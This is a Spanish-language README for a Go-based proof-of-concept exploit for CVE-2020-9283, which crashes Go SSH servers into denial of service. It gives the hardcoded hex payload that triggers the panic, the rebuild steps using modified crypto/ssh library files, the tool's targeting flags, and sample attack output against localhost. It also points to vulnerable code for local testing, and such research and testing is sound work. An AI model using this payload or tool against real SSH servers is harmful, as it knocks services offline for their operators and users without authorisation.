
Exploit para CVE-2020-9283 basado en Go
Este proyecto está inspirado en el POC original encontrado aquí github.com/mark-adams/exploits/CVE-2020-9283. Tenía curiosidad sobre cómo estaba implementada la librería SSH de Go, así que decidí implementar el PoC usando Go.
Un breve artículo se puede encontrar aquí https://dev.to/brompwnie/modifying-go-s-crypto-ssh-library-for-cve-2020-9283-26a7
Esto provoca un panic en un servidor SSH basado en Go, lo que puede llevar a una Denegación de Servicio (DoS).
He publicado binarios en la sección de Releases, sin embargo puedes reconstruir los tuyos propios usando el código fuente adjunto.
Decidí modificar la librería crypto de Go directamente en mi sistema para entender cómo funciona, esto no es ideal y probablemente no sea la mejor manera de hacerlo, pero funciona ;) Si quieres recompilar usando módulos GO, reemplaza el contenido de los archivos Crypto/ssh client_auth.go, handshake.go, transport.go en tu sistema local con los archivos ".bak" ubicados aquí. Estos archivos modificados contienen una salida de depuración verbosa y un payload hardcodeado de "0000000b7373682d65643235353139000000156161612d616161612d61612d6161612d6161616161" que provoca el panic.
Verás mucha salida de depuración y "errores", esto es esperado. Si tu objetivo ha sufrido un panic, deberías ver errores asociados a "bad key lengths". Si quieres probar esto localmente, usa el código vulnerable que se puede encontrar aquí github.com/mark-adams/exploits/CVE-2020-9283
# ./CVE-2020-9283 -h
Usage of ./CVE-2020-9283:
-host string
IP address of SSH host to target (default "localhost")
-key string
ssh-ed25519 private key to use (default "thekey")
-port string
Port to target (default "22")
# ./CVE-2020-9283 -port=2022
./CVE-2020-9283 -port=2022
+] Sploit for CVE-2020-9283
[+] Attempting to pwn: localhost:2022
[!] Attempting: cMSG_USERAUTH_REQUEST
[+] userAuthRequestMsg User: notme
[+] userAuthRequestMsg Service: ssh-connection
[ERROR] ssh: handshake failed: EOF
[+] This should have invoked a panic on the SSH target i.e 'panic: ed25519: bad public key length'